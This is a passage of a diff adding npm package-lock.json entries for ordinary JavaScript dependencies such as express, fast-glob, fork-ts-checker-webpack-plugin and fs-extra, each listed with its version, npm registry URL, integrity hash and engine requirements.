+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/expect/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/expect/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/expect/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/expect/node_modules/diff-sequences": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+      "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/expect/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/expect/node_modules/jest-diff": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+      "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "diff-sequences": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/expect/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/expect/node_modules/jest-matcher-utils": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+      "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/expect/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/expect/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/expect/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/expect/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/express": {
+      "version": "4.21.2",
+      "resolved": "https://registry.npmjs.org/express/-/express-4.21.2.tgz",
+      "integrity": "sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==",
+      "license": "MIT",
+      "dependencies": {
+        "accepts": "~1.3.8",
+        "array-flatten": "1.1.1",
+        "body-parser": "1.20.3",
+        "content-disposition": "0.5.4",
+        "content-type": "~1.0.4",
+        "cookie": "0.7.1",
+        "cookie-signature": "1.0.6",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "finalhandler": "1.3.1",
+        "fresh": "0.5.2",
+        "http-errors": "2.0.0",
+        "merge-descriptors": "1.0.3",
+        "methods": "~1.1.2",
+        "on-finished": "2.4.1",
+        "parseurl": "~1.3.3",
+        "path-to-regexp": "0.1.12",
+        "proxy-addr": "~2.0.7",
+        "qs": "6.13.0",
+        "range-parser": "~1.2.1",
+        "safe-buffer": "5.2.1",
+        "send": "0.19.0",
+        "serve-static": "1.16.2",
+        "setprototypeof": "1.2.0",
+        "statuses": "2.0.1",
+        "type-is": "~1.6.18",
+        "utils-merge": "1.0.1",
+        "vary": "~1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.10.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/express"
+      }
+    },
+    "node_modules/express/node_modules/array-flatten": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
+      "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
+    },
+    "node_modules/express/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/express/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/express/node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/fast-deep-equal": {
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+    },
+    "node_modules/fast-glob": {
+      "version": "3.2.12",
+      "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.12.tgz",
+      "integrity": "sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==",
+      "dependencies": {
+        "@nodelib/fs.stat": "^2.0.2",
+        "@nodelib/fs.walk": "^1.2.3",
+        "glob-parent": "^5.1.2",
+        "merge2": "^1.3.0",
+        "micromatch": "^4.0.4"
+      },
+      "engines": {
+        "node": ">=8.6.0"
+      }
+    },
+    "node_modules/fast-glob/node_modules/glob-parent": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+      "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+      "dependencies": {
+        "is-glob": "^4.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/fast-json-stable-stringify": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+      "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
+    },
+    "node_modules/fast-levenshtein": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
+      "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="
+    },
+    "node_modules/fastq": {
+      "version": "1.13.0",
+      "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz",
+      "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==",
+      "dependencies": {
+        "reusify": "^1.0.4"
+      }
+    },
+    "node_modules/faye-websocket": {
+      "version": "0.11.4",
+      "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz",
+      "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==",
+      "dependencies": {
+        "websocket-driver": ">=0.5.1"
+      },
+      "engines": {
+        "node": ">=0.8.0"
+      }
+    },
+    "node_modules/fb-watchman": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz",
+      "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==",
+      "dependencies": {
+        "bser": "2.1.1"
+      }
+    },
+    "node_modules/file-entry-cache": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
+      "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
+      "dependencies": {
+        "flat-cache": "^3.0.4"
+      },
+      "engines": {
+        "node": "^10.12.0 || >=12.0.0"
+      }
+    },
+    "node_modules/file-loader": {
+      "version": "6.2.0",
+      "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz",
+      "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==",
+      "dependencies": {
+        "loader-utils": "^2.0.0",
+        "schema-utils": "^3.0.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^4.0.0 || ^5.0.0"
+      }
+    },
+    "node_modules/filelist": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
+      "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==",
+      "dependencies": {
+        "minimatch": "^5.0.1"
+      }
+    },
+    "node_modules/filelist/node_modules/brace-expansion": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
+      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+      "dependencies": {
+        "balanced-match": "^1.0.0"
+      }
+    },
+    "node_modules/filelist/node_modules/minimatch": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.0.tgz",
+      "integrity": "sha512-9TPBGGak4nHfGZsPBohm9AWg6NoT7QTCehS3BIJABslyZbzxfV78QM2Y6+i741OPZIafFAaiiEMh5OyIrJPgtg==",
+      "dependencies": {
+        "brace-expansion": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/filesize": {
+      "version": "8.0.7",
+      "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz",
+      "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==",
+      "engines": {
+        "node": ">= 0.4.0"
+      }
+    },
+    "node_modules/fill-range": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
+      "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+      "dependencies": {
+        "to-regex-range": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/finalhandler": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz",
+      "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==",
+      "dependencies": {
+        "debug": "2.6.9",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "on-finished": "2.4.1",
+        "parseurl": "~1.3.3",
+        "statuses": "2.0.1",
+        "unpipe": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/finalhandler/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/finalhandler/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/find-cache-dir": {
+      "version": "3.3.2",
+      "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
+      "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+      "dependencies": {
+        "commondir": "^1.0.1",
+        "make-dir": "^3.0.2",
+        "pkg-dir": "^4.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/avajs/find-cache-dir?sponsor=1"
+      }
+    },
+    "node_modules/find-up": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+      "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
+      "dependencies": {
+        "locate-path": "^6.0.0",
+        "path-exists": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/flat-cache": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz",
+      "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==",
+      "dependencies": {
+        "flatted": "^3.1.0",
+        "rimraf": "^3.0.2"
+      },
+      "engines": {
+        "node": "^10.12.0 || >=12.0.0"
+      }
+    },
+    "node_modules/flatted": {
+      "version": "3.2.7",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz",
+      "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ=="
+    },
+    "node_modules/follow-redirects": {
+      "version": "1.15.6",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz",
+      "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==",
+      "funding": [
+        {
+          "type": "individual",
+          "url": "https://github.com/sponsors/RubenVerborgh"
+        }
+      ],
+      "engines": {
+        "node": ">=4.0"
+      },
+      "peerDependenciesMeta": {
+        "debug": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin": {
+      "version": "6.5.2",
+      "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.2.tgz",
+      "integrity": "sha512-m5cUmF30xkZ7h4tWUgTAcEaKmUW7tfyUyTqNNOz7OxWJ0v1VWKTcOvH8FWHUwSjlW/356Ijc9vi3XfcPstpQKA==",
+      "dependencies": {
+        "@babel/code-frame": "^7.8.3",
+        "@types/json-schema": "^7.0.5",
+        "chalk": "^4.1.0",
+        "chokidar": "^3.4.2",
+        "cosmiconfig": "^6.0.0",
+        "deepmerge": "^4.2.2",
+        "fs-extra": "^9.0.0",
+        "glob": "^7.1.6",
+        "memfs": "^3.1.2",
+        "minimatch": "^3.0.4",
+        "schema-utils": "2.7.0",
+        "semver": "^7.3.2",
+        "tapable": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=10",
+        "yarn": ">=1.0.0"
+      },
+      "peerDependencies": {
+        "eslint": ">= 6",
+        "typescript": ">= 2.7",
+        "vue-template-compiler": "*",
+        "webpack": ">= 4"
+      },
+      "peerDependenciesMeta": {
+        "eslint": {
+          "optional": true
+        },
+        "vue-template-compiler": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz",
+      "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==",
+      "dependencies": {
+        "@types/parse-json": "^4.0.0",
+        "import-fresh": "^3.1.0",
+        "parse-json": "^5.0.0",
+        "path-type": "^4.0.0",
+        "yaml": "^1.7.2"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": {
+      "version": "9.1.0",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+      "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+      "dependencies": {
+        "at-least-node": "^1.0.0",
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": {
+      "version": "2.7.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz",
+      "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.4",
+        "ajv": "^6.12.2",
+        "ajv-keywords": "^3.4.1"
+      },
+      "engines": {
+        "node": ">= 8.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
+      "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/form-data": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz",
+      "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==",
+      "dependencies": {
+        "asynckit": "^0.4.0",
+        "combined-stream": "^1.0.8",
+        "mime-types": "^2.1.12"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/forwarded": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+      "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/fraction.js": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz",
+      "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==",
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "type": "patreon",
+        "url": "https://www.patreon.com/infusion"
+      }
+    },
+    "node_modules/fresh": {
+      "version": "0.5.2",
+      "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+      "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/fs-extra": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
+      "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
+      "dependencies": {
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/fs-monkey": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz",
